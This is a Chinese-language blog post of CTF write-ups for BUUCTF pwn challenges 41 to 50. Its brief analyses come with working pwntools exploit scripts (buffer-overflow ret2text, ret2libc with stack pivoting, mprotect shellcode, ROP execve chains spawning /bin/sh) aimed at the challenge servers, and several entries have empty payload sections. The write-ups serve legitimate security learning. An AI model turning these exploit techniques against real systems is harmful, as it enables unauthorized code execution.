41~50

41.picoctf_2018_buffer overflow 1

ret2text

(1)分析

image-20231011143121323

main

image-20231011143448166

vuln

image-20231011143520072

gets漏洞

win

image-20231011161726472

这里就读出flag了

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(log_level='debug',arch='i386',os='linux')
io=remote("node4.buuoj.cn",27142)

win_addr=0x80485cb
padding=0x2c

payload=b'a'*padding+p32(win_addr)

io.recvuntil(b'Please enter your string:')
io.sendline(payload)
io.interactive()

42.[ZJCTF 2019]EasyHeap

house of spirit

(1)分析

image-20231011143138943

main

delete_heap

image-20240408155054479

l33t

image-20240408154845470

后门函数

用程序定义的 read_input 来修改某个地址的内容,从而劫持程序执行,在上面调用 read_input 的地方可知,写入的地址是一个chunk的首地址,也就是说如果能修改 chunk 首地址为指定的位置,就能实现任意地址写了。

create那的话 chunk大小没限制,可惜这里没有输出功能不然利用mmap的特性直接泄露libc也是可以的,如果还是想的话配合劫持stdout也可以,只不过过于麻烦

覆盖调用函数,把free的got表掉包成system的plt表,不就可以执行system(堆指针)了吗?那么此时如果堆指针存着‘/bin/sh’,我们就可以执行system(‘/bin/sh’)提权了。(注意字符串实际上就是一个指针,并且结尾是‘\x00’)

(2)payload

1

PS:靶机的glibc版本是2.23的。 2.26版本之后加入了 tcache 机制,就没办法用常见的 fastbin 攻击。

43.[Black Watch 入群题]PWN

ret2libc+栈劫持

(1)分析

image-20231011143204092

main

image-20231011163306913

vul_function

image-20231011163327742

image-20231011172348440

发现s在bss段上

分析一下这个函数,一开始输出m1里的字符串,然后调用read函数给s写入不大于0x200长度的数据,然后又是一个read函数,让我们读入0x20长度的数据给参数buf,buf参数的大小是0x18,我们可以溢出0x8字节,0x8字节,只够我们覆盖ret,没办法构造很长的rop链来攻击,所以需要将栈迁移到s中拿到shell。

所以我们将ROP链布置在那里,由于这题需要我们自己构造system(‘/bin/sh’)

需要先来泄露一下程序的libc版本,那么本题payload构造思路就清晰了,ret2libc+栈劫持的组合

image-20231011203955743

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',29859)
#io=process('./43')
elf=ELF('./43')

main_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
padding=0x18 #偏移地址(这个不包含函数返回地址,只是栈大小)
s=0x0804A300
leave_ret=0x08048408

payload = p32(write_plt)+p32(main_addr)
payload += p32(1)+p32(write_got)+p32(4)

io.recvuntil(b"What is your name?")
io.send(payload)

payload1=b'a'*padding
payload1+=p32(s-4)+p32(leave_ret)

io.recvuntil("What do you want to say?")
io.send(payload1)

#下面这个需要根据实际情况获取泄露函数真实地址
write_addr=u32(io.recv(4))
log.success('leak_write_real_addr => {}'.format(hex(write_addr)))

#以下为通用操作
'''libc = LibcSearcher("write",write_addr)
libcbase=write_addr-libc.dump('write')
system_addr=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump('str_bin_sh')'''

libc=ELF('32libc-2.23.so')
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))

payload2 = p32(system_addr)+p32(0)+p32(str_bin_sh)

io.recvuntil("name?")
io.sendline(payload2)

io.recvuntil("say?")
io.sendline(payload1)
io.interactive()

44.inndy_rop

ret2shellcode

(1)分析

image-20231011143335686

main

image-20231012083505794

overflow

image-20231012100240612

gets溢出漏洞

方法1

发现程序中函数很多,应该是静态编译
查看有没有mprotect函数

image-20231012100429085

果然有,那么我们可以用这个函数改bss段权限来执行shellcode

方法2

可以直接利用ROPgadget工具来构造ROP链

ROPgadget –binary 44 –ropchain

image-20231012200657835

(2)payload

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')

#io = remote('node4.buuoj.cn',29581)
io = process('./44')
elf = ELF('./44')

padding = 0xc+4
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
bss_start = elf.bss() & 0xfffff000 # 页对齐
bss_size = 0x1000
rwx = 7
pop_3times_ret = 0x0806ecd8

payload = flat(['a'*padding, mprotect_addr, pop_3times_ret, bss_start,bss_size, rwx, read_addr, bss_start, 0, bss_start, bss_size])

io.sendline(payload)
gdb.attach(io)
shellcode = asm(shellcraft.sh())
io.send(shellcode)
io.interactive()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from struct import pack

io = remote('node4.buuoj.cn',27768)
#io = process('./44')
context.log_level = 'debug'

def payload():
# Padding goes here
p = b'a'*0xc+b'bbbb'

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

return p

shell = payload()
io.sendline(shell)
io.interactive()

45.hitcontraining_uaf

(1)分析

image-20231011143354723

(2)payload

1

46.jarvisoj_test_your_memory

ret2text

(1)分析

image-20231012105117110

main

image-20231012110054158

mem_test

image-20231012110134281

__isoc99_scanf溢出漏洞
同时发现hint存放着cat flag命令

win_func

image-20231012110030347

给了system函数,我们需要将hint作为system函数的参数,来获取flag,注意返回地址要选一个空地址,不能让程序崩溃,不然不会显示flag

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

io=remote("node4.buuoj.cn",29129)
elf = ELF("./46")
context.log_level = 'debug'

flag_addr = 0x80487E0
system_addr = elf.symbols['system']
main_addr = elf.symbols['main']

payload = b'a'*(0x13+4) + p32(system_addr) + p32(0x8048790) + p32(flag_addr) #只要地址显示的伪代码为空就可以用

io.sendline(payload)
io.interactive()

47.cmcc_simplerop

(1)分析

image-20231012105138265

main

image-20231012203912182

read漏洞

fflush

image-20231012203948137

check_one_fd

image-20231012204031710

(2)payload

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from struct import pack

io = remote('node4.buuoj.cn',26841)
#io = process('./47')
context.log_level = 'debug'
padding=0x20

def payload():
# Padding goes here
p = b'a'*padding
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806e850) # pop_edx_ecx_ebx
p += p32(0)+p32(0)+p32(0x080ea060)
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack(b'<I', 0x080493e1) # int 0x80

return p

shell = payload()
io.sendline(shell)
io.interactive()

exp2

1

exp3

1

48.picoctf_2018_buffer overflow 2

(1)分析

image-20231012105153324

main

image-20231014141423542

vuln

image-20231014141452804

gets漏洞

win

image-20231014141520555

可以看到win函数中a1 == 0xDEADBEEF && a2 == 0xDEADCODE 时,输出flag.

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',26873)
#io=process('./48')
elf=ELF('./48')

win_addr=0x80485cb #flag
vuln_addr=elf.sym['vuln']
a1=0xDEADBEEF
a2=0xDEADC0DE
padding=0x70

payload=b'a'*padding+p32(win_addr)+p32(0)+p32(a1)+p32(a2)
io.sendline(payload)
io.interactive()

49.wustctf2020_getshell_2

(1)分析

image-20231012105215869

main

image-20231019084106789

vulnerable

image-20231019084132586

read漏洞

shell

image-20231019085340130

没法利用system@plt地址,因为plt地址需要返回值,可溢出的地址位数不够0x24-0x18=0xc,所以只能用shell()里的call system来调用system,call函数不用返回值了,它会自己把下一条指令给压进去

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',27488)
#io=process('./49')
elf=ELF('./49')

sh_addr=0x8048670
system_addr=0x8048529
padding=0x1c

payload=b'a'*padding+p32(system_addr)+p32(sh_addr)

io.sendline(payload)
io.interactive()

50.bbys_tu_2016

(1)分析

image-20231012105233326

main

image-20231019093628174

__isoc99_scanf漏洞

printFlag

image-20231019093710374

读了flag

(2)payload

1


41~50
http://example.com/2023/10/11/WP/BUUCTF/41-50/
作者
Jwj-Learning
发布于
2023年10月11日
许可协议